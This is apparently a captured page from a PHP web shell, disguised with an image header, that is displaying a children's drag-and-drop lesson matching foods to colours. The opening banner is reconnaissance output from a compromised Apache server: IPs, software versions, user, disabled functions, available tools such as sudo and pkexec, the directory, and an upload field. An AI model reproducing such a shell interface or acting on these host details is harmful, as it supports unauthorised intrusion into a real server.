????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.226.169.66 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelC/Category3/ |
Upload File : |
<!DOCTYPE html> <html> <head> <title>Match the colors with food items</title> <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script> <style type="text/css"> </style> <script> function page_preLoad() { s_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No3); s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta'); s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.C, Category.No3, 5), true, true); s_setFooterTable('id_tblFooter', true, true, false, true, true); var ids_headings = ['id_td_heading1']; var ids_boxes = ['id_boxForBread', 'id_boxForRice', 'id_boxForVegetables', 'id_boxForDhal']; var ids_options = ['id_options', 'id_spanWhiteRice', 'id_spanYellowDhal', 'id_spanBrownBread', 'id_spanGreenVegetables']; var ids_All = ids_headings.concat(ids_boxes, ids_options); s_adjust_fontSize_for_ids_all_devices(ids_All, 80); s_init_dropBox_tds_with_drag_here(ids_boxes); s_init_dropping_spans(ids_options); var id_tables_array = ['id_table1', 'id_table2', 'id_table3', 'id_table4', 'id_table5']; s_border_collapse_for_tables_except_android(id_tables_array); } function page_onLoad() { } function btnHome_click() { s_btnHomeCategories_click('LevelC'); } function btnPrevious_click() { window.location = "LevelCCat3Lesson04.html"; } function btnNext_click() { window.location = "LevelCCat3Lesson06.html"; } function DragDrop(id_dropBox, ids_array) { if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array)) { s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox); isAllInfosMovedShowClapsAnimation(); s_set_currentDropingId_draggbleToFalse(); } else { s_resetCurrentDroppingPosition(id_dropBox); } } function isAllInfosMovedShowClapsAnimation() { var ids_boxes = ['id_boxForBread', 'id_boxForRice', 'id_boxForVegetables', 'id_boxForDhal']; s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes); } </script> </head> <body onload="page_onLoad()"> <div id="s_id_div_message"></div> <table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0"> <tr height="8%"> <td> <div id="id_tblHeader"></div> </td> </tr> <tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device --> <td> <table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0"> <tr height="100%"> <td> <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr height="5%"> <td id="id_td_heading1" class="s_style_heading"> <u>Match the following food and their colours.</u> </td> </tr> <tr height="12%"> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse"> <tr> <td> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse"> <tr> <td id="id_options" class="s_style_heading" width="22%">Options: </td> <td width="*"> <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse"> <tr> <td id="id_td_WhiteRice" width="50%" draggable="true" ondragstart="s_dragStartNew(event)"> <span id="id_spanWhiteRice" class="s_style_draggable_text">White rice</span> </td> <td id="id_td_YellowDhal" width="*" draggable="true" ondragstart="s_dragStartNew(event)"> <span id="id_spanYellowDhal" class="s_style_draggable_text">Yellow dhal</span> </td> </tr> <tr> <td id="id_td_BrownBread" width="50%" draggable="true" ondragstart="s_dragStartNew(event)"> <span id="id_spanBrownBread" class="s_style_draggable_text">Brown bread</span> </td> <td id="id_td_GreenVegetables" width="*" draggable="true" ondragstart="s_dragStartNew(event)"> <span id="id_spanGreenVegetables" class="s_style_draggable_text">Green vegetables</span> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="*"> <td> <table width="100%" height="100%" border="1" cellspacing="2%" cellpadding="0" style="border:none"> <tr id="id_tr_bread" height="25%"> <td width="100%" style="border:none" ondragover="s_highlight('id_boxForBread'); s_allowDrop_web(event)" ondragleave="s_un_highlight('id_boxForBread')" ondrop="DragDrop('id_boxForBread', ['id_spanBrownBread'])"> <table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="center"> <img id="id_imgBread" onclick="s_showImageBiggerDefault()" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/bread.png" width="35%" draggable="false"> </td> <td id="id_boxForBread" class="s_style_draggable_text" width="*" align="center"> _________ </td> </tr> </table> </td> </tr> <tr id="id_tr_rice" height="25%" ondragover="s_highlight('id_boxForRice'); s_allowDrop_web(event)" ondragleave="s_un_highlight('id_boxForRice')" ondrop="DragDrop('id_boxForRice', ['id_spanWhiteRice'])"> <td width="100%" style="border:none"> <table id="id_table3" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="center"> <img id="id_imgRice" onclick="s_showImageBiggerDefault()" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/rice.png" width="35%" draggable="false"> </td> <td id="id_boxForRice" class="s_style_draggable_text" width="*" align="center"> _________ </td> </tr> </table> </td> </tr> <tr id="id_tr_vegetables" height="25%" ondragover="s_highlight('id_boxForVegetables'); s_allowDrop_web(event)" ondragleave="s_un_highlight('id_boxForVegetables')" ondrop="DragDrop('id_boxForVegetables', ['id_spanGreenVegetables'])"> <td width="100%" style="border:none"> <table id="id_table4" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="center"> <img id="id_imgVegetables" onclick="s_showImageBiggerDefault()" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/vegetables.png" width="35%" draggable="false"> </td> <td id="id_boxForVegetables" class="s_style_draggable_text" width="*" align="center"> _________ </td> </tr> </table> </td> </tr> <tr id="id_tr_dhal" height="*" ondragover="s_highlight('id_boxForDhal'); s_allowDrop_web(event)" ondragleave="s_un_highlight('id_boxForDhal')" ondrop="DragDrop('id_boxForDhal', ['id_spanYellowDhal'])"> <td width="100%" style="border:none"> <table id="id_table5" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td width="50%" align="center"> <img id="id_imgDhal" onclick="s_showImageBiggerDefault()" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/dhal.png" width="35%" draggable="false"> </td> <td id="id_boxForDhal" class="s_style_draggable_text" width="*" align="center"> _________ </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr height="8%"> <td> <div id="id_tblFooter"></div> </td> </tr> </table> <script> page_preLoad(); new webkit_draggable('id_spanWhiteRice', {handle : 'id_td_WhiteRice', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}}); new webkit_draggable('id_spanYellowDhal', {handle : 'id_td_YellowDhal', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}}); new webkit_draggable('id_spanBrownBread', {handle : 'id_td_BrownBread', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}}); new webkit_draggable('id_spanGreenVegetables', {handle : 'id_td_GreenVegetables', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}}); webkit_drop.add('id_tr_bread', {onOver : function(){s_highlight('id_boxForBread')}, onOut : function(){s_un_highlight('id_boxForBread')}, onDrop : function(){DragDrop('id_boxForBread', ['id_spanBrownBread'])}}); webkit_drop.add('id_tr_rice', {onOver : function(){s_highlight('id_boxForRice')}, onOut : function(){s_un_highlight('id_boxForRice')}, onDrop : function(){DragDrop('id_boxForRice', ['id_spanWhiteRice'])}}); webkit_drop.add('id_tr_vegetables', {onOver : function(){s_highlight('id_boxForVegetables')}, onOut : function(){s_un_highlight('id_boxForVegetables')}, onDrop : function(){DragDrop('id_boxForVegetables', ['id_spanGreenVegetables'])}}); webkit_drop.add('id_tr_dhal', {onOver : function(){s_highlight('id_boxForDhal')}, onOut : function(){s_un_highlight('id_boxForDhal')}, onDrop : function(){DragDrop('id_boxForDhal', ['id_spanYellowDhal'])}}); </script> </body> </html>